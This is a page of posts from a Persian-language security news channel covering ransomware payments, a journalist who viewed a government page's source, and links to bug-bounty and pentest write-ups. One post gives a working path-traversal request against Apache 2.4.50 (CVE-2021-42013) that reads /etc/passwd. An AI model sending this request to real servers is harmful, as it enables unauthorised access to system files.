امنیت اطلاعات

2021-10-16 10:37:17 فرماندار میسوری خواستار محاکمه ی خبرنگاری شد که سورس صفحه ی یک سایت حکومتی را مشاهده کرده بود!

این خبرنگار با بررسی سورس صفحه متوجه شد کدملی معلمان و مدیران مدارس در آن وجود دارد و این موضوع را به مسئولان ایالتی اطلاع داد.

حالا فرماندار این خبرنگار را هکر خوانده و درخواست محاکمه ی وی را دارد!


https://www.vice.com/en/article/jg8ynp/governor-wants-to-prosecute-journalist-who-clicked-view-source-on-government-site


#news
#lol
#usa
#f12

@sec_nerd باز کردن / نظر دهید

2021-10-16 10:31:27 وزارت خزانه داری امریکا اعلام کرد از سال ۲۰۱۹ تا کنون حدود 5.2 میلیارد دلار باج از طریق ارزهای دیجیتال به گونه های مختلف باج افزار پرداخت شده است

https://therecord.media/treasury-said-it-tied-5-2-billion-in-btc-transactions-to-ransomware-payments/


#news
#ransomware



@sec_nerd باز کردن / نظر دهید

2021-10-16 10:28:47 [Apache] HTTP Server cgi-bin Path Traversal and RCE (CVE-2021-42013)

This exploit can bypass for Apache HTTP Server 2.4.50 (CVE-2021-41773 Patch Version)

GET /cgi-bin/%%32%65%%32%65/.../%%32%65%%32%65/etc/passwd HTTP/1.1



#apache
#rce


@sec_nerd باز کردن / نظر دهید

2021-10-04 10:35:34 استفاده از SSRF و رسیدن به میل باکس در اکسچنج پیش از احراز هویت


https://vanshal.medium.com/pre-auth-ssrf-to-full-mailbox-access-microsoft-exchange-server-exploit-a62c8ac04b47



#exchange
#ssrf


@sec_nerd باز کردن / نظر دهید

2021-10-04 10:31:53 دور زدن صفحه ی ۴۰۳ و دستیابی به ادمین

https://sapt.medium.com/bypassing-403-protection-to-get-pagespeed-admin-access-822fab64c0b3



#web
#pentest
#bugbounty



@sec_nerd باز کردن / نظر دهید

2021-09-26 19:25:33 #fun


@sec_nerd باز کردن / نظر دهید

2021-09-26 19:19:27 file upload mindmap


#web
#pentest

@sec_nerd باز کردن / نظر دهید

2021-09-26 19:17:32 جایزه ی ۵ هزار دلاری برای کشف آسیب پذیری IDOR در گوگل

https://asterfiester.medium.com/5000-google-idor-vulnerability-writeup-c7b45926abe9



#writeup
#bugbounty
#idor


@sec_nerd باز کردن / نظر دهید

2021-09-19 14:30:12 چطور هتل را با تلفن همراهم هک کردم؟


https://medium.com/geekculture/how-i-hacked-a-hotel-just-using-my-phone-97f4d2de39ca



@sec_nerd باز کردن / نظر دهید

2021-09-16 08:03:55 PetitPotam – NTLM Relay to AD CS


https://pentestlab.blog/2021/09/14/petitpotam-ntlm-relay-to-ad-cs/


#windows
#pentest
#AD


@sec_nerd باز کردن / نظر دهید